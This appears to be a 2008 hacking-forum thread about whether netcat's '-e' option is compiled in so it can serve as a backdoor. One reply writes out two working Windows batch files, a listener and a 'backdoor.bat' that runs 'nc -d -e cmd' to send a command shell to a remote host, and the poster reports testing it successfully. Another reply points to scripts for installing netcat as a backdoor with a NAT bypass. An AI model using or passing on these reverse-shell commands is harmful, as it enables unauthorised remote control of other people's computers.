sc0rpi0 Posted January 11, 2008 Share Posted January 11, 2008 I have never used netcat before...and do not intend doing so on my own computer. Recently, I've found several sources saying that the default netcat does not have the "-e" option automatically compiled. In other words, unless netcat is separately compiled, it cannot function as a backdoor/remote access tool. I download netcat from here: http://www.vulnwatch.org/netcat/ Much appreciated.

Sparda Posted January 11, 2008 Share Posted January 11, 2008 Do you have gcc or g++ installed (depending on which it needs)? Quote Link to comment Share on other sites More sharing options...

Thanks. GCC is the GNU Compiler Collection. It is a set of compilers used to compile C and C++ applications into a executable form. G++ is basically a nickname for the C++ Compiler of GCC.

colforbin Posted January 12, 2008 Share Posted January 12, 2008 There's a really simple backdoor in Volume 21, Issue 4 of 2600. It's called "Backdooring the NAT'ed Network", by David Dunn. The tutorial in the article has you create two batch files... - server.bat: @echo off cls nc.exe -v -v -L -p <port> - backdoor.bat: @echo off echo You have been owned. nc -d -e cmd -t <IP address or FQDN> <port> I just tried this with the copy of netcat for Windows linked to, earlier in this thread and it works fine. Hope this helped. Quote Link to comment Share on other sites More sharing options...

sablefoxx Posted January 14, 2008 Share Posted January 14, 2008 Me and a friend made a couple different scripts/payloads to install nc as a backdoor, read over the code here, NAT bypass and all that gravy is in there. Enjoy! http://forums.hak5.org/index.php/topic,7991.0.html Quote Link to comment Share on other sites More sharing options...
